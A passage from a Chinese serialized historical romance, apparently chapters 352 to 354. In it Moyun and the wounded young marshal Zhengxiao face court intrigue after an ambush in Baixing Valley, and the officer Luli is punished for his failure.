“怎么？去哪？”老太君一脸没好气的走入营帐，然后扫了正啸一眼说道，“这可是在军中！”
正啸眼中透出一丝无语，鸿音公主自是将自己夜里去寻茉云之事告知了老太君，老太君最近可没少训斥和数落自己。
老太君一坐下便直白的瞪向茉云道：“你一来军中，便如此挑衅十二皇子，意欲何为？”
茉云倒是一脸风轻云淡，轻轻叹了口气，端起茶壶给自己轻轻倒茶，语气还带着几分玩味：“其实，我就是想顺着他那位公主姐姐的意思，去得罪十二皇子。顺便，也看看他到底有几斤几两。”
她的语气轻松，似乎并未将这件事放在心上，但她那从容的眼神中，却透出一丝深意。如此天功朝廷背后争锋绝非那么简单，背后一定是诸多的阴谋和复杂的博弈。
“为何来的是十二皇子？”茉云端起茶杯，喝着茶悠然的看向怀逸说道。
萧怀逸坐回帐中，听到茉云的问话，他毫无避讳地答道：“圣意素来难测，如今京中局势亦难以捉摸。圣上一直未定储君，而若是如今战胜峑戎的如天之功，落在哪位深受倚重的皇子身上，那无异于向整个朝廷昭告——那人便是圣上心目中的继任人选。”
茉云闻言，放下了手中的茶杯，抬眼看向萧怀逸，嘴角带着一丝轻笑：“据我的了解，十二皇子尚未涉足朝政。那是不是意味着，圣上并未选定继任人选，亦不愿将一个位高权重的皇子送来搅扰卢家军的部署？而圣上也更希望他的啸儿能一心投入抗敌之中？”
萧怀逸点了点头，语气同样沉稳：“我们是这么猜测的。”
茉云的眼神却一瞬间变得凌厉，眼中的锋锐光芒几乎让空气都为之一凝，她顿了顿，低声说道：“但我认为，事情远没有表面上看起来那么简单。”
她手轻轻转动案几上的茶杯，茶水轻微晃动，带起了一丝波澜,她的声音如此平静，却透着无法掩饰的深意：“鸿音公主拼尽一切，掏尽了新元的家底，率铁狮军前来助阵。她的目的，绝不只是报答卢家的大恩，帮助卢家打赢这一战。若真是如此，你当新元王朝是任人拿捏、随意利用的吗？”
老太君闻言，神情依旧冷静并未被茉云的言辞所惊扰，因为她知道茉云言之有理，哪怕鸿音再能耐，新元王朝也不可能倾尽所有帮她如愿。
此时，茉云的眼神中却透露出一丝狠戾，言辞也愈加坚定：“唯一的可能便是，鸿音公主想借此战，扶持自己的亲弟——五皇子，登上帝位。如果日后五皇子登基为皇，新元王朝也将借助朝廷之力，成为西境关外的霸主。”
怀逸亦深吸一口气，他心中亦知，鸿音公主的野心绝不仅限于此战……
茉云接着说道:“而此时，十二皇子来到军中,鸿音公主没有丝毫的反应，亦没有任何的不满，还待他如此可亲，这一切本就蹊跷。”
萧怀逸微微皱眉，目光从茉云身上转向远处的战图，显然在思考。然而，这个复杂的局势有着太多无法预料的变数。十二皇子突然出现在军营中的确意味深长，鸿音公主此种反应亦是让局势更加扑朔迷离。
此时，老太君在旁听着显然对茉云的推测十分认可，点了点头说道：“那你有何打算？”
茉云微微一笑，淡然说道：“我再自视甚高，但也未必能洞察京城所有真相。”
老太君眼中闪过一丝深思，她沉默片刻，随后问道“你可愿意此时去京城？”
茉云轻轻叹了口气，她知道，无论战场如何变化，京中那些不可见的暗流才是这场战争中最为致命的部分。
正啸听后眉头微蹙，心中略感不悦。他定然不希望茉云卷入京中的权力纷争，而且如今京城这场博弈远比他们任何时候经历的都更为凶险。虽然他知道茉云的勇气和能耐，但依然不愿她卷入这场暗流涌动的宫廷朝堂斗争。
正啸抬手便好似习惯性的将茉云拉到了身后，斩钉截铁的说道：“奶奶，我绝不会让她进京的！”
顿时茉云看向正啸的背影怔了半刻，而众人亦看向正啸，他此时的语气如此不容置疑，哪怕是面对卢家的老太君。
正啸继续说道：“她一入京
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城，便是入了这深不见底的漩涡。朝堂局势扑朔迷离，宫中的争斗更是危机重重。”
茉云的眼中闪过一丝复杂，她没有立刻回应，而是静静地注视着正啸。她知道，正啸从不希望她卷入这场复杂的政治纷争，而她也清楚，他们是无法远离的，这些早已不是选择……
大帐内气氛沉重，卢老太君眼中顷刻闪烁出怒火，声音如雷霆般：“卢正啸，到底是大战重要，还是个人重要！这场棋局，我们若不主动出手，恐怕我们终究只是被动的棋子。”
“我从来都是棋子！可此刻，她若在京中，那我就成了连奋力挣扎都不敢的傀儡，任人尽可拿捏！”正啸亦毫不退让的回怼道。
空气中再次陷入一片沉默，营帐内的气氛因此言的沉重而变得凝固。
茉云闻言，心中微震。她的目光不由自主地转向正啸，心头一阵百感交集。她知道，自己如今成了卢正啸钢筋铁骨之下唯一的软肋。已经成了他在任何权力博弈中，都无法脱离这份牵绊。她心中一阵复杂的情绪翻涌而过——他是不该有软肋的。
老太君深吸了一口气，眼中带着一丝无奈和深沉，她也知道若茉云此时一入京城，便顷刻成了众矢之的。即便是三头六臂，也难以接下京中那么多的暗箭。
然而，就在这片沉默中，茉云深深吸了一口气，终于打破了这份沉寂，语气中带着一丝顽皮和娇俏：“老太君，容我想想。可是如今，我定然是不合适大张旗鼓地入京的。宋大人都说了，我这人不能离卢正啸太远，不然容易闯大祸！”
她的话语刚落，老太君不禁“哼”了一声，抿唇一笑眼中闪过一丝揶揄：“方茉云，当年在中州，我且问过你是否愿意嫁入卢家，结果你是如何斩钉截铁地拒绝我的？你说和我孙子呆在一个府衙都生不如死，若日后要和他呆在一间屋子里你宁愿跳井！”
茉云闻言不禁乐了，顿时一脸的嬉皮笑脸：“老太君，您当年让我嫁入卢家给您孙儿做小妾，摆明是想试探我，我定然打死也不承认，人啊，就不能一开始让人知道你要干嘛？你偷摸着干就完了，那些到处嚷嚷的几个成了事。”
老太君一脸没好气的望向茉云，茉云想起则笑得更畅快，声音都跳跃了几分。
“不瞒您说，当时跟您聊完，我走出去便告诉我自己，什么小妾？方茉云，你必须是卢正啸的正妻。”
话音刚落，营帐内立刻爆发出一阵哄堂大笑。就连老太君也不禁笑得合不拢嘴，眼角的皱纹都显得温暖了几分。正啸站在一旁，看着茉云眼中亦闪过一丝宠溺的无语。
茉云亦是嘴角弯起，众人心头复杂情绪好似也随着笑声慢慢消散。无论外界如何风起云涌，茉云总是能轻松的缓解众人心中的压力，也让周围的一切变得温暖。
可茉云的眼底却闪烁过一丝复杂的光芒，纵然正啸再不愿，可自己早已下定了决心，因为她知道如果他两不能斩尽荆棘，自己掌控命运，将永远无法摆脱这场权力博弈的深渊……
352.重伤
众人离开营帐，正啸的目光始终停留在茉云身上，好似能从她的眼中看到那一丝犹疑与挣扎。他的目光越来越深邃，似乎能穿透她心底的每一寸不安。
最终，正啸缓缓开口：“你我曾说好了，绝不陷入京城的深渊。”
茉云闻言心中一震，微微避开了正啸那深邃的目光，但她心里不由自主地想，他怎么好像总是能看穿我的心思似的。
正啸见她避开了视线，眉头微蹙，随即，他抬起手指尖穿过茉云的黑发，轻轻扶正她的头，温柔地让她正视着自己。
茉云微微心中闪过一阵慌乱，但很快她便恢复了镇定。她抬起眼正对上他那双深邃的瞳孔，轻声说道：“那你可否答应我，不受昔日恩情的羁绊，只把皇上当作皇上，把鸿音公主当做新元国后。”
正啸微微抬眉，眼中闪过一丝不解，好似眼神在问此言何意？
茉云眼中却透出一丝无法掩饰的忧虑，她没有直接回答，反而忽然伸手扑入了正啸的怀里，紧紧抱住了他，感受着正啸的温度和他身上散发出来的那股沉稳与力量。她没有再言语，只能在心中暗暗对自己说，我定要挡住所有你背后袭来的暗箭。
良久后，茉云轻声道：“我答应你，只要他们能暂且放过卢家军，至少能让你能专心打赢这一仗，我绝不会和他们纠缠。”
正啸轻轻抚摸着她的头，他并不知为何，但他能感受到她身上传来的忧虑和不安，心中也微微一紧。
茉云微微抬头，望向正啸的眼睛：“你也答应我，保重好自己和身边的人，不管未来如何，都不要轻易让自己陷入危险。”
正啸看着茉云那在意的目光，心中不禁涌起一股无法言喻的情感。他轻轻点头，伸手把茉云紧紧搂入怀中。
这一瞬间，整个世界仿佛都变得安宁，所有的一切焦躁和喧嚣都这一刻化为无形，只有彼此之间温暖的气息在流淌。
翌日清晨，天色阴沉乌云密布，大雨将至，茉云亦没有丝毫犹豫，依旧清早便离开了营地，踏入返程，以免多生事端。
匆匆一面，她踏上回途，在路途小栈躲雨之时，她望向窗外的雨幕，心中皆是不舍，但更多的是决心。无论未来如何，她都已经做好了面对这场风暴的准备。
而雨——像是老天的泪水，久久未曾停歇。半月的连绵夏雨，好似带走了天地之间的温度，洗涮着大战的苦痛，让空气中都充满了湿冷与沉闷的气息。
泥泞的土地让士兵们无法行进，大军只能暂时修整，铁狮军和十二皇子却显然有些按捺不住了。大军耗费的粮草本就不计其数，若再拖下去，铁狮军恐怕连后勤都要出现问题。
而圣上寿辰将至，十二皇子此刻心里唯有一个目标，以几场大胜仗——为皇上贺寿。于是，他以督军之名不止一次要求元帅，雨过之后，大军便开拔继续进军，夺取峑戎的重城百兴城，元帅最终应了。
尽管正啸心中有着强烈的反对意见，但元帅已经亲自下令，他也无法违抗。无论他如何预感到前方的危险，他也只能随元帅的指令行事。
而前往百兴城的道路上，必须经过一处叫做百行谷的地方，素有“百鬼夜行于谷”的传闻。那是一个诡异的峡谷，因其阴森的气氛和种种未解的怪事，令任何经过的人都感到忌惮。
正啸自是明白这一路的危险，于是决定派王强先行去探查峡谷的情况。然而，王强的消息迟迟未到。
就在此时，铁狮军显然已忍不住战意，鸿音公主下令铁狮军率先进入了百行谷。她的命令迅速传达，铁狮军如潮水般涌入了谷口，气势汹汹，毫无忌惮。
而十二皇子也不甘示弱，带着他的亲卫队，亲自带队进入了百行谷。显然，他不愿让铁狮军独占头功。
元帅听到先锋营鹿里的报告后，得知皇子先行入谷，那事情已不容拖延，遂下令大军先锋营先行进入百行谷护卫皇子。正啸带队再大军队伍尾部殿后，他听到此令之时，便大惊失色……
可这一切，他已来不及阻止，而且……如他所料，他们正中了峑戎的圈套。
霎那间，大雨倾盆而下，空气中的潮湿与压力交织成无法言喻的紧张。百行谷中，似乎有无数的隐秘力量在等待着他们的到来。
正啸将大军交给了沧海，亲自率领先锋营进入百行谷，顿时发现了不对劲。谷中阴森的气氛愈发浓重，似乎有无数双眼睛在暗处注视着他们。突然，峑戎的伏兵从四面八方扑来，向前方的铁狮军直逼而来。
正啸马上指挥军队抵挡敌人的进攻，但敌人熟悉地形，极其难以应对。正啸命鹿里和威行迅速组织防线，才稳住了军队逼退了敌人，可这时他发现，十二皇子和鸿音公主在混乱中失踪了。
正啸意识到局势已经非常危急，毫不犹豫地骑马率队深入谷中，去寻找他们的踪迹。大雨如注，天地间几乎是浑然一体，战场的硝烟与雨水交织在一起，整个人间好似都被包围在一片混沌的迷雾中。
经过一番艰难的追踪，正啸终于在峑戎的伏兵包围之中找到了十二皇子和鸿音公主。两人身处险境，身旁的敌军正准备将他们彻底围困，就在这生死一线的时刻，正啸毫不犹豫地冲向敌阵，为鸿音公主挡下了对方敌将的一重猛击。
那一锤重重砸下，正啸却没有抵挡，奋力抬起剑扔出，抵挡住了刺向十二皇子的箭，而他的身体被狠狠撞击。
尽管如此，正啸依然没有退缩，他紧紧抓住机会，趁敌人阵脚稍乱之际，迅速护着十二皇子和鸿音公主撤出重围。
众人终于一同撤退出谷，重新回到营中，正啸回营帐便因重伤倒下了，沧海一个箭步上前扶住他，而正啸抓着沧海的手臂最后叮嘱道：“跟元帅说，原地驻军修整。还有一定要寸步不离护卫十二皇子的安康。”
沧海点了一下头，正啸话音刚落，便因伤势过重，整个人彻底昏迷过去，十二皇子惊魂未定的深吸了一口气看向他……
大雨滂沱，气氛如压抑的雷鸣，营地中，紧张的氛围笼罩着每个人的心头。行军受阻再加上少帅重伤，不仅让卢家军的士气大受打击，也让他们不得不面对更为严峻的局势。
而此时，茉云正带着运粮队伍赶赴军营，一路上大雨如注，丝毫没有减弱的迹象，阴云压得整个天地低沉沉的。雨点砸在地面上，激起无数水花，茉云看着漫天的雨幕，心中却始终有一股隐隐的不安。
她不知为何，怎么也消不去心中的那份焦虑，所以她夜以继日的往军营赶，终于赶到卢家军大营，她下马正想松口气，却听见营中的士兵低声议论：“少帅为了救鸿音公主，受了重伤生死未卜。”
这消息如晴天霹雳般击中了茉云，她的心猛地一沉，然而，紧接着便听到跑来的小马低声喝道：“不知实情，却在军中散播谣言，就不怕军法处置吗？”
一时间士兵都安静下来，不敢再多说什么。茉云抬眼，冷冷地看向小马，那目光锐利如刀。
小马顿时低下了头，恭敬地说道：“少帅是受了伤，但是白神医说绝无生命危险，当时情况紧急，润吉将军在场，他知道实情，根本也不是救谁不救谁的！”
茉云闻言，带着几分忿然，没好气的说道：“对！我是关心这些！他救了公主，我能吃了他不成？你紧张什么！”
小马旋即忍不住陪笑道：“都是小的不对，方将军素来最大方且大气了！”
威行闻讯都赶了过来，听着竟也忍不住笑了，气氛竟一下子轻松了几分，茉云一脸的沉稳而淡然地
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走向正啸的营帐，心中却恨不得飞奔而去。
千山在茉云走来时，迟疑了一瞬，旋即马上恭敬地让开了路。茉云轻轻进入了营帐，营帐内白神医正坐在床前给正啸的探脉，鸿音公主守在床边，面色焦虑，目光紧紧锁着正啸。怀逸与执礼也都站在旁边，神情凝重。
白神医探脉完，缓缓叹息：“去汇报元帅，少帅他受了极重的内伤，需要修养。”
他的声音如此低沉，显然也没有料到正啸会遭遇如此重的伤。
鸿音公主听到这话，眼眶立刻红润，神情一片痛惜，她低声说道：“都是我连累了正啸。”
茉云静静地站在门口，目光落在床上正啸那苍白的脸上，心中微微一震，可她迟疑了半刻，本想先退出去，这个时候万莫却看见了茉云，他马上焦急的望向茉云道：“少主受了重伤。”
众人顿时回头，目光齐聚在茉云身上，她缓缓走进营帐，身旁跟着威行、小马等人，他们的眼神好似顷刻间亦沉稳了。
执礼深深松了口气，她的出现好似给这片阴霾带来了一丝光亮，若正啸短暂地倒下，她就成了卢家军那道最坚实的支柱，可以给予了大家力量和安定。
茉云站定后微微屈膝，恭敬地向鸿音公主行礼。鸿音公主看着她，眼中满是复杂，最终她轻轻点头，眼角含笑温和的说道：“方将军免礼。”
茉云并未多言，径直走到床前，伸出手探了探正啸的脉搏。她的眉头轻轻蹙起，心头猛地一沉。脉象竟然如此虚弱，他内伤竟然如此重……
鸿音公主望向茉云，眼中闪过一丝无力与自责，眼泪都不禁涌上眼眶：“当日怪我，轻敌冒进，敌方大将一锤向我袭来，是正啸跳上我的马，为我挡住了这一锤。否则，我……都是我累得正啸如此的……”
茉云心中一阵冷笑，但神情却异常温和地抬目望向鸿音公主，一改平日的桀骜，眼中满是安抚，柔声说道：“王后，您是我朝的长公主，少帅亦说自幼您待他如长姐，少帅自当以命相救，您切莫自责。”
鸿音公主望向茉云眼中的柔和，微微一怔默默点了一下头。而这时，怀逸和执礼也都看向了茉云，眼中有着深深的异样，茉云绝不会轻易改变对人的态度，除非……
然而，就在这时，一直昏迷不醒的正啸，忽然缓缓睁开了眼睛。好似是因为听到了茉云的声音。
“少主醒了！”
“正啸！”
而他那迷茫的眼神中只带着一丝熟悉的温柔，锁定了茉云。他伸出手，目光中含着几分模糊，却好像只能清晰地看着她。茉云怔了片刻，她亦伸出了手，轻轻握住了他的手。
正啸握住了她的手，指尖带着一丝微弱的力量，将她拉近。随即，他将头好似微微靠向她的方向，安心地闭上了眼睛重新沉沉睡去。
茉云深深地吸了口气，眼中浮现出至深地心疼，她从未见过他如此虚弱之时。
白神医见状，轻轻起身，声音低沉地说道：“让少帅好好歇息一下，茉云和万莫你们守在床边，这是他养伤的最佳时机。”
众人见状，纷纷起身准备离去。鸿音公主也站起身来，向茉云投以一眼，然而转身的瞬间，她微微咬紧了牙关，眼底透出一丝难以掩饰的失意与痛楚。可她，却无法再做什么，因为此刻卢正啸正紧紧握着茉云的手。
当众人离去，营帐内再次归于寂静。茉云轻轻俯身，靠在正啸的胸前，感受着他那有力的心跳声，心中才能平复稍许。
正啸似乎感受到了她的靠近，伸出手臂，不由自主地将她紧紧搂入怀中，在她耳边轻轻说了这三个字:“我没事！”
茉云愣了一下随即放松身体，感受着他怀抱中的温暖，任由他将自己抱在怀里……
353.开端
随着茉云的到来，营中士气低迷的压抑好似被拂去了一层，她像一块磐石一般，稳稳地将摇摇欲坠的军心镇住了几分。
晚膳时分，茉云特地去了伙房的营帐就餐。伙营之中，炊烟袅袅，饭香弥漫，营长老彭正忙着分派饭菜，见茉云亲自前来，老彭连忙招呼。
茉云坐在伙营中，边大快朵颐边与老彭谈笑风生，还不时与将士们打趣，一时间笑声不断。她调侃太易吃得慢像个姑娘家细嚼慢咽，太易忍无可忍的反问她，您还知道什么是姑娘家？引得周围众将纷纷笑成一团。
军中原本紧张凝重的气氛，在这一片笑语中不知不觉散去不少。
晚膳之后风雨依旧。茉云前往主营议事，主营内，气氛依旧压抑。元帅坐在上首，神情憔悴而沧桑，似乎这连日来的风雨和正啸受伤之事，让他颇为介怀。
见茉云进来，他微微颔首，示意她不必多礼，开口道：“茉云，今日你就坐正啸这儿吧。”
茉云也未推辞，走到正啸常坐的位置上，拂了拂衣摆端然坐下，眼神异常狠戾。众人见状神色各异，但很快也都纷纷落座。
待一切坐定，茉云环视一圈，眼神犀利而冷静。忽然，她声音一沉，厉声道：“鹿里！”
一声呼喝，似惊雷劈下，众人一时竟未反应过来，只见鹿里脸色一白，噗通一声跪在了地上。
茉云的眼神冷如霜刃，语气中压抑着滔天怒火：“堂堂卢家军前锋营，拦不住铁狮军也罢，拦不住十二皇子吗？”
声音落下，众人心头一颤。下一刻，只见鹿里心如死灰般跪在那里，头低得不能再低。他是先锋营的将军，本该依少帅军令，等王强探明情报才入谷，结果铁狮军擅入百行谷，十二皇子也跟随之，最终酿成大祸……
茉云眸色更冷，目光如同利刃般落在鹿里身上，毫不留情地厉声斥道：“论罪，你当诛！”
此言一出，帐中顿时响起一阵倒吸冷气之声，所有人神情惊骇，不敢置信地看着茉云，哪怕是控军不利，也罪不至死吧。
威行在一旁，眼看鹿里绝望的神情，情急之下他正欲开口帮他求情，鹿里却一把拉住了威行，摇了摇头，眼神中满是绝望与自责。
茉云则冷冷地注视着鹿里，声音冰冷如霜：“少帅待你的信任和重恩，不及她！”
鹿里猛然抬头，咬牙望向茉云，眼眶里终于泛起了泪光。他眼中满是痛苦、羞愧与挣扎。顷刻间，他便做下了决绝的决定，猛地抽出腰间长剑，剑锋瞬间透出冰冷的寒光。
众人一惊，下一刻，鹿里已扬剑欲自行了断！
情急之下，沧海大喝一声：“拦住他！”
幸亏威行坐在鹿里身侧，几乎是本能地扑上去，一把握住鹿里的剑腕，奋力拉住，雄山也冲上前去帮忙。鹿里咬牙挣扎，但终究被死死按住，剑落在地上，发出清脆的撞击声。
元帅惊诧之时，缓缓回过神，叹息一声，声音中满是疲惫与沉重：“茉云，鹿里虽有行军不利之罪，但……也罪不该死。”
茉云冷笑一声，眼神好似能刺破人的心底，她缓缓开口，声音冰冷到极点：“元帅，他急匆匆跑来找您禀报公主和皇子闯入了百行谷，催促您下令大军入谷！鹿里将军，我反问你一句，他是拦不住十二皇子，还是压根没拦？”
她一字一句，冷厉如刀，直刺在场每个人的心上。
“皇子入谷，致使元帅情急之下，下令全军入谷！若不是少帅以身为盾，硬生生挡下了大军，自己入谷！今日的卢家军怕是早已尸横遍野！是少帅用自己的命，替鹿里担了这场滔天大祸！”茉云的声音愈发冷峻的瞪向鹿里。
话音落下，帐中一片死寂。
众人这才猛然惊觉，纷纷低下头，鹿里跪在地上，脸色惨白，身躯微微颤抖，他低声沙哑道：“元帅，末将……该死！”
沧海亦看向茉云，眼中浮现出深深的无奈与苦痛，他叹了口气，沉声说道：“茉云，少帅未醒，若真要定罪，也该等少帅醒来，由他亲自处置，不迟！”
帐中死一般的沉寂，只余下雨声敲打营帐的声音，如同敲打在众人心头，让人喘不过气来。所有人都低着头，谁也不敢再多言。
鹿里跪在地上，肩膀微微颤抖，他闭上眼，眼角滑落一滴滚烫的泪水。他知道自己无颜面对少帅，无颜面对卢家军上下的兄弟，更无颜面对这一切。
茉云缓缓收回视线，眼透狠戾的说道：“待少帅醒来？他还有什么脸见少帅？”
说罢，鹿里猛地夺过一旁士兵腰间的佩剑，动作迅猛而决绝，长剑寒光一闪，便欲以死谢罪。
就在此时，只听“匡——”的一声清脆响起！
那柄利剑在半空中被重重击断，剑身带着余力滑落在地，发出一声脆响。
众人一惊，纷纷循声望去——只见一袭玄色军服的正啸，正立于营门前，依旧身姿提拔，眉目如刀，虽面色略显苍白，但仍然气宇轩昂，宛如一座不可动摇的山岳。
众将齐刷刷起身抱拳行礼，声音中带着激动与关切：“少帅！”
正啸迈步入内，步伐沉稳，神情冷峻如昔。
元帅见状，急忙关切问道：“啸儿，你的伤势可好？”
正啸微微颔首神色淡然的说道：“父帅，我无碍。”
正啸走到茉云身旁，沉着地坐下，目光在众人身上缓缓扫过，最后落在跪着的鹿里身上。
他缓缓开口，声音不大，却威势凛然：“鹿里将军失职之罪，元帅自有处置。经此战役，军中士气定然受损，今日，诸将各自回营，安抚军心，明日一早，全军列阵操练，不得有误！”
“是！”众人齐声应道，抱拳领命。
随后，众将迅速退下，动作利落不敢有丝毫怠慢。正啸抬了抬手，低声吩咐道：“沧海，留下。”
沧海微微一怔，随即应声：“是！”
而鹿里跪在地上，仍旧低着头，双拳紧握指节泛白，整个人如同一尊石像般纹丝不动。他不畏惧死亡，但这份屈辱和自责，远比死亡对他来说更加沉重。
良久后，鹿里抬头坦然迎向正啸，沉声说道：“少帅，末将是该死！”
正啸目光沉静，望向鹿里片刻，淡声问道：“错在何处？你自己说与我听。”
鹿里深吸了一口气，压抑着心中的惭愧与痛苦，艰难开口道：“末将一见铁狮军冲入谷中，便慌了神，乱了方寸，只知急忙去向元帅禀报，却全然忘了十二皇子近在身旁……我也未曾料到，他竟也随之入谷！”
茉云闻言，眼中寒光一闪，冷冷开口，厉声质问：“你是没有预料到，还是跟人早有预谋？”
她的话犹如利刃，直刺人心。鹿里脸色苍白如纸，身躯微微颤抖，重重一磕首，额头狠狠撞在地面上，只听得“砰”地一声闷响，鲜血顿时流出。
“少帅！”鹿里声音哽咽，带着决绝与悲恸，“末将绝不可能出卖您！”<
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p>话音未落，只听茉云一声怒喝，身形一动，猛地一掌拍在案几上！
“砰——！”
厚重的桌案应声四分五裂，碎片飞溅，连一旁的元帅都忍不住微微变了脸色，吃惊地看了茉云一眼，显然未料到她怒火之烈，出手之重。
茉云目光森冷，声音如冰：“那你如此愚蠢受人利用，差点酿成此等大祸，岂不是更可恨！”
鹿里抬头，鲜血顺着脸颊滑下，他咬紧了牙关，眼神中皆是羞愧与痛苦，直视着茉云没有半句辩解。
正啸静静地看着这一切，眼中并无怒意，只有无尽的沉沉叹息，他缓缓开口道：“鹿里，贻误军机，按卢家军军法，打二十军棍。响鼓不用重锤，你自省之。”
他的语气淡淡，却有着无法违抗的威严。
茉云闻言，顿时转头狠狠瞪向正啸，显然对这轻描淡写的惩处极不满意。
正啸却只是神色平静地看着她，目光温柔而笃定，劝慰道:“他一时慌乱，处置不当，罪不至死！”
茉云冷冷地瞪着正啸，咬牙说道：“我就恨他这心甘情愿被人骗的劲儿！”
鹿里低着头，顿时又咬紧了牙关，双拳握紧得让肩膀都在微微颤抖，却一言不发。
茉云冷笑一声，眉眼间寒意凛冽，问道：“那我且问你们，鸿音公主冲入谷中，逼得鹿里情急之下去向元帅请命入谷，而十二皇子因鹿里不在，便率亲卫队跟了进去。若没有少帅拼了命救人，最后的结果是什么？结果是——卢家军折损惨重，十二皇子殒命于百行谷！”
帐中众人闻言，皆是一惊，脸色微变。
茉云冷冷继续说道：“就算十二皇子不死，这场大败，最终也得由卢家军和十二皇子来背！到时候，圣上震怒，问责而下，还有谁有罪！”
空气仿佛凝固，所有人都屏住了呼吸。
茉云步步紧逼，眼神凌厉：“是保举十二皇子来的八皇子！那么八皇子的前程是否也被葬送，这等朝局动荡，谁得利？这，便是十二皇子此行的真正目的——做个炮灰！”
话音落地，帐中众人齐齐倒吸一口凉气，寒意自脚底直窜心头。
连怀逸、执礼也一时之间说不出话来。原来，这背后，竟是如此深沉险恶的用心！
茉云收回目光，低声道：“今日你们却还在想为这个吃里扒外之人求情，卢家军是用卢正啸的半条命，换了躲过今天这场灭顶之灾！”
她声音冷静，却每一个字都如重锤敲击在众人心上，营中一片寂静。
良久后，元帅长叹一口气，止不住眼中浮起的自责与痛苦。他声音低沉而苍老：“哎……你有此一劫，也怪父帅操之过急。那十二皇子，是圣上的儿子，可你，也是我亲儿啊……”
茉云站在一旁，听得元帅这番话，差点就没好气地脱口而出，你还知道啊！
正啸顿时拦住了茉云之言，望向元帅说道：“这只是她的猜想，未必是实情，父帅，我无碍，您不必挂怀！”
茉云顿时咬着嘴唇，满脸忿然地瞪向正啸，但当她看到正啸如此苍白的脸色，感受他如此虚弱的气息，她实在不忍心在他父帅面前，继续跟他争下去。
她只能愤怒的起身便出了营帐，正啸则轻轻地叹了口气，望向茉云的背影……
而茉云走在月色下，不论她有多愤懑，但心里却明了，这场风波，不过是一切暗流的开端，自己必须更加清醒，更加决绝，才能护住想护之人……
354.初衷
茉云走出营帐，夜风如刀，狂卷着她的发与衣。她未回头，只一步步走向那漆黑的营地边缘。
风中传来破帐而出的簌簌声，远处天幕翻涌，如墨染般浓重的云压得人喘不过气。
电光忽然划破天穹，照亮她挺直的脊背和倔强的侧影。紧随其后，雷声炸响，仿若惊世怒吼。
茉云抬头，雨点尚未落下，可风已经要将她推入这天地撕裂的洪流。
她的目光沉沉，望着那被乌云吞噬的夜空。月儿早不见了踪影，好似被这乱世一同吞没。她心中那口怒气与寒意，与这天象竟出奇一致——她知道卢家不会相信鸿音的背叛，因为他们从来笃信家人，而鸿音就是卢正啸的姑姑视若亲女之人。
她知道卢家亦是深深信任自己，可自己与鸿音公主的撕裂只会让卢家两难，就像西王爷说的，自己没有证据！而鸿音公主却时刻能都下得去那暗恶的手！
顿时大雨藏着暗涌，漆黑，好似带着难以言喻的愤懑与孤决，落了下来……
茉云静静站在雨中，雨水顺着额角与发梢滑落，顷刻打湿了她的衣襟，沿着袖口渗进衣内，冰冷彻骨。可她却一动不动，任由雨点打在她的肩头，劈啪作响，然而这一切都冲不散她心中那一团灼烧的怒火。
这怒，是因这一场精心布设的局，是因正啸的重伤，是因鹿里的愚忠，是因这天下至高权势之下，赤诚换不得真心，信义终敌不过人心叵测！这怒在千钧重压下沉积许久，难以压抑，如焚野之风，如山川之怒。
这大雨倾盆能浇灭山河，却浇不灭她的怒。
然后就在此时，一只温热而有力的手忽然从背后一把拉过她的手臂。
茉云一愣，回头，只见正啸的身影从风雨中来，不顾这狂风骤起，一把将她拉进了营帐之中。她还未出声，营帐帘布便被雨风拍打得“哗哗”作响，好似整个世界都在相应着这场对峙。
“放开！”茉云猛地甩开了他的手，怒视着他，“卢正啸，这只是我的猜测吗？”
她的眼神满是滔天怒火与愤懑，如同这雷电交加的夜。她顷刻间不能冷静，今日那深宫之谋，那局中之局，差点让卢正啸送命，这叫她如何咽不下的？
正啸没有回话，只是微微皱了皱眉，眼中却是一如既往的平静。他抬手，扯过一方绵巾覆在她的头上，轻轻替她擦去雨水。
茉云微微一愣，眸光微颤。
他们四目相对，营帐内昏黄的灯火映出她面庞的愤懑，那一双眼却始终那么清亮，盛满了委屈与忿然。
正啸看着她，忽而唇角微扬，轻轻被她气笑了。
茉云蹙眉，正要质问他怎还笑得出来，却只见他伸出手指，轻轻抚去自己脸庞的雨水。
茉云倏地偏过头，不愿被他这突如其来的温柔软化。可下一瞬，她整个人已被一双铁臂牢牢抱住，正啸将她一把揽入怀中，低下头，重重地、深深地吻了她。
那一瞬间，雨点倾盆如注，像无数冰锤重重砸在营帐之上，轰鸣如战鼓。
可这天地间的一切喧嚣，皆似被这一吻静止。
茉云的手被迫缚在正啸的胸膛，感受着他的心跳，却没有挣开。她感受到他的气息、他的灵魂、他藏在沉稳背后的焦灼与深情。
这一吻，没有情欲，没有狂热，只有一种压抑至极、终于释放的柔情，良久，风暴依旧狂肆，帐中却是静默温热一隅。正啸缓缓松开她的唇，却没有放开怀中的人，只是将下巴轻靠在她的发顶。
茉云靠在他胸口，她没有回话，但手，悄悄握紧了他的衣襟……营帐中只余下风雨低鸣。
良久，正啸缓缓松开了抱着茉云的臂弯，目光沉静地看着她，说道“父帅心底里，视圣上如兄弟，待鸿音如侄女，他如今这把年纪，还苦苦坐镇卢家军……何必在此时去与他说这些话？”
他此言并不是责备，语气温和得像雨夜里的一盏灯，只是带着一丝安抚和深深的无奈。
茉云却依旧一脸怒意，双眼泛着冷光，可她看得出，正啸虽强撑不语，但他的气息确实受到了重创，那一锤定是震伤了五脏六腑，连体内运转的真气都显得有些凝滞。
她心中怒火再盛，却也再难出口指责，只能将那股火憋在心头，终究默然不语。
这时，帐外传来通传之声：“报——沧海将军与鹿里将军求见。”
正啸轻轻松开了茉云，说道：“进来吧！”
门帘已被风雨拍得半掀开，一个满身血迹的身影踉踉跄跄走了进来——鹿里刚刚被执行完二十军棍。
他佝偻着身躯完全没有往日意气风发的样子，步伐蹒跚，背后衣袍早已被鲜血染透，一步一颤地走到正啸面前，扑通一声，重重跪下。随着这一跪，血水从衣襟处缓缓渗出，触目惊心。
沧海跟在他身后，面色凝重。他没有言语，只默默站定行礼。
帐中顿时寂静，好似连那风雨都被这一跪压制了声音，鹿里跪着，身体仍在微微颤抖，好似那疼痛尚未过去，又或者心中的痛苦早已超越了皮肉的苦痛。他低下头，再次伏地叩首，额头磕在地上。
“少帅——”他声音沙哑，终究是哭了出来，“末将有负您……”
他一语未毕，竟已是泣不成声。
正啸脸上神情肃然，他看着眼前的鹿里，深吸一口气，终究还是弯身将他扶起，转向沧海淡声开口道：“带他去白神医那儿上药。”
沧海点头，正要上前扶起鹿里，鹿里却仍旧跪着不动。
就在这时，茉云的声音忽然响起，语气坚定，字字如钉：“鹿里，于卢家军而言，没有比剿灭峑戎、平定南境更高的信仰。世间所有的恩与情，皆不可裹挟你背弃这个信仰。”
